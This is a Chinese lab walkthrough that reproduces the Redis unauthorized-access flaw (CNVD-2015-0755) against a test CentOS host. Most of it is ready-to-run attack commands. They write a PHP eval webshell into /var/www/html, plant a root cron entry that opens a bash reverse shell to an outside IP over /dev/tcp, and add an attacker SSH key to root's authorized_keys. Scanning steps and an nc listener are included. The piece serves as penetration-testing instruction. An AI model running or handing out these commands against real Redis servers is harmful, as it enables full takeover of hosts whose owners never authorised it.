天天看点

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

redis未授权访问漏洞复现

实验环境

目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200

攻击机器:Kali、IP地址:10.1.1.100

未授权概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

Redis未授权访问

Redis 架构

Redis 客户端 redis-cli Redis

Redis 服务器 redis-server

客户端、服务器可以位于同一台计算机或两台不同的计算机中。

漏洞发现

Redis 服务默认监听在6379端口上。

Redis常用命令

redis连接远程服务器: redis-cli -h host -p port -a password
set testkey "Hello World"                     # 设置键testkey的值为字符串 
get testkey                                   # 获取键testkey的内容
set score 99                                  # 设置键score的值为99 
incr score                                    # 使用INCR命令将score的值增加1 
get score                                     # 获取键score的内容
keys *                                        # 列出当前数据库中所有的键 
config set dir /home/test                     # 设置工作目录 
config set dbfilename redis.rdb               # 设置备份文件名 
config get dir                                # 检查工作目录是否设置成功 
config get dbfilename                         # 检查备份文件名是否设置成功 
save                                          # 进行一次备份操作 
flushall                                      # 删除所有数据 
del key                                       # 删除键为key的数据
           

Redis未授权访问的三种复现方式

方式一,写入webshell

这个方法的前提条件是:1.知道网站根目录绝对路径。 2.对目标网站根目录有写入权限。

攻击步骤:

1.对目标机器进行信息收集,看看端口是否开放了哪些。直接使用nmap -sV -p- -T4 10.1.1.200

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

发现目标机器开放80端口,有web服务,直接对其网址目录进行扫描。

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

通过对网址目录的扫描,发现了有个phpinfo.php页面,说明存在敏感信息泄露,可以知道这个网站是php搭建的,还可以获取到网站根目录绝对路径为/var/www/html。

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

2.下载Redis客户端连接工具

大家可以自行在网上找来下载,下载完成后,直接解压,编译,编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行。

下面的方法是在公网上下载的步骤,大家有需要可以在自己公网机器上搭建一个。(在自己虚拟机里面搭建也是差不多这样子的步骤)

apt install redis-tools
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz
cd redis-6.0
make
cd src 
cp redis-cli /usr/bin
           

3.连接测试是否可以连接成功,直接redis-cli -h ip -p port

当Ping 出现PONG的时候说明存在漏洞,连接成功

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

4.进行写入webshell

redis-cli -h 10.1.1.200 -p 6379                          //连接
config set dir /var/www/html                             //定义目录
config set dbfilename shell.php 
set x "<?php @eval($_POST['cmd']);?>" 
save
           
redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

注意: 不同版本的网站的绝对目录不同,这里是php的,输入dir 命令是放回错误,那就说明输入的网站的目录不正确,不存在这个目录,所以有时候要靠猜目录。

5.webshell写入成功后,去访问看看是否成功。

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

6.使用webshell管理工具连接目标网站

成功拿下机器

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

方式二,写定时任务

redis-cli -h 10.1.1.200 -p 6379 
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/43.139.44.143/4433 0>&1\n\n"
save
           
redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

完成后记得save保存下,在攻击机器上监听反弹回来的端口即可。

nc -lvvp 4433

执行下命令,成功拿下。

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

方式三,写ssh公钥

默认情况下,生成的SSH密钥在用户家目录的 .ssh 目录下

我们可以cd /root/.ssh

ls

去进行查看

ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt 
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m
//以上步骤在自己的攻击机器上执行

redis-cli -h 192.168.1.100 -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
           

ssh-keygen -t rsa 先生成一个公钥

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

将公钥写入foo.txt文件

使用cat 命令查看是否成功

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m 把写好文件传到给10.1.1.200

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

进行redis连接,设置备份文件路径和名字。

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

最后使用ssh连接,直接上线机器

ssh [email protected] -i /root/.ssh/id_rsa

redis未授权访问-cnvd 2015-0755漏洞复现redis未授权访问漏洞复现

免责声明:本文仅限于进行安全测试,请勿使用来作攻击他人电脑,造成损失和违法犯罪行为与作者本人无关。

继续阅读